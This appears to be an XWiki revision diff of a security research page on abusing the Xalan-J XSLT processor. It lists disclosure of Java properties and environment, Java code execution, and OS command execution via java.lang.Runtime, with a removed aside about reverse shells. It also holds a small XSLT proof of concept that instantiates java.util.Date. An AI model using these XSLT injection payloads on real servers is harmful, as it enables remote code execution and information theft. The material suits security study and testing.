Changes for page Engine_XalanJ
on 2012/01/11 23:44
on 2012/01/11 23:27
Summary
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Page properties (1 modified, 0 added, 0 removed)
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Attachments (0 modified, 0 added, 1 removed)
Details
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... ... @@ -19,12 +19,11 @@ 19 19 20 20 == Special features == 21 21 22 -* Java properties disclosure 23 -* Java environment disclosure 24 -* Java code execution 25 -* OS command execution 26 26 * File creation 23 +* Code execution 27 27 * JDBC connectivity 25 +* Java properties disclosure 26 +* Java environment disclosure 28 28 29 29 == Java properties disclosure == 30 30 ... ... @@ -33,9 +33,11 @@ 33 33 |=Namespace|=Function|=PoC|=Sample output 34 34 |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]] 35 35 35 + 36 + 36 36 == Java environment disclosure == 37 37 38 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context ( including availablepackages, paths, versions, ...).39 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...). 39 39 40 40 |=Namespace|=Extension function|=PoC|=Sample output 41 41 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] ... ... @@ -44,19 +44,13 @@ 44 44 45 45 The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. 46 46 48 + 47 47 |=Namespace|=Extension function|=PoC|=Sample output 48 48 |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: 49 49 Wed Jan 11 22:45:07 CET 2012 50 50 51 -== OScommandexecution ==53 +== Execution of external commands == 52 52 53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT), but this is not a problem if a reverse-shell have already been started, isn't it ;-) 54 - 55 - 56 -Note : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray). 57 - 58 - 59 - 60 60 The following code will execute the command "touch /tmp/hello" : 61 61 62 62 <?xml version="1.0"?>
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... ... @@ -1,1 +1,0 @@ 1 -xwiki:XWiki.NicolasGregoire - Size
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... ... @@ -1,11 +1,0 @@ 1 -<xsl:stylesheet version="1.0" 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" 4 - exclude-result-prefixes="date"> 5 - <xsl:output method="text"/> 6 - <xsl:template match="/"> 7 - <xsl:variable name="dateObject" select="date:new()"/> 8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 9 - </xsl:template> 10 -</xsl:stylesheet> 11 -